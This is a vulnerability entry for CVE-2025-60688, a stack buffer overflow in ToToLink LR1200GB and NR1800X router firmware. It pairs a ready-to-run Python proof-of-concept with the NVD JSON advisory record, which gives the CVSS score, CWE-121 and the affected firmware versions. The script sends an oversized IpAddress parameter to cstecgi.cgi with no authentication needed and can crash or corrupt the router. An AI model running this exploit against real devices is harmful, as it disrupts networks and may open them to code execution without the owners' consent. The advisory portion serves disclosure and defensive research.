CVE-2025-60688

#!/usr/bin/env python3 """ CVE-2025-60688 PoC - ToToLink LR1200GB/NR1800X cstecgi.cgi Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. """ import requests import sys TARGET_IP = "192.168.1.1" # Router IP address def exploit_cve_2025_60688(): """ Exploit the stack buffer overflow in cstecgi.cgi setDefResponse function by sending an oversized IpAddress parameter """ # Create payload with 500+ bytes to overflow typical stack buffer # Adjust size based on target buffer allocation payload_size = 600 malicious_ip = "A" * payload_size url = f"http://{TARGET_IP}/cstecgi.cgi" # Parameters for setDefResponse function params = { "url": "/setDefResponse", "IpAddress": malicious_ip } try: print(f"[*] Sending exploit payload ({payload_size} bytes) to {url}") response = requests.get(url, params=params, timeout=10) print(f"[*] Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] exploit_cve_2025_60688()

{"cve": {"id": "CVE-2025-60688", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.850", "lastModified": "2025-11-19T17:33:06.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow vulnerability exists in the ToToLink LR1200GB (V9.1.0u.6619_B20230130) and NR1800X (V9.1.0u.6681_B20230703) Router firmware within the cstecgi.cgi binary (setDefResponse function). The binary reads the \"IpAddress\" parameter from a web request and copies it into a fixed-size stack buffer using strcpy() without any length validation. Maliciously crafted input can overflow the buffer, leading to potential arbitrary code execution or memory corruption, without requiring authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:*", "matchCriteriaId": "00F36DE9-D043-4C8B-9EF9-8DA669589E85"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:*", "matchCriteriaId": "8442849E-5B06-41A1-8DA8-827FBD7A34E5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:nr1800x_firmware:9.1.0u.6681_b20230703:*:*:*:*:*:*:*", "matchCriteriaId": "7F9DCAA5-1EC6-44A1-9606-B6FBF29DEC65"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:nr1800x:-:*:*:*:*:*:*:*", "matchCriteriaId": "B4D2D0E8-2678-4238-8229-83450ECA1153"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-LR1200GB/CVE-2025-60688.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}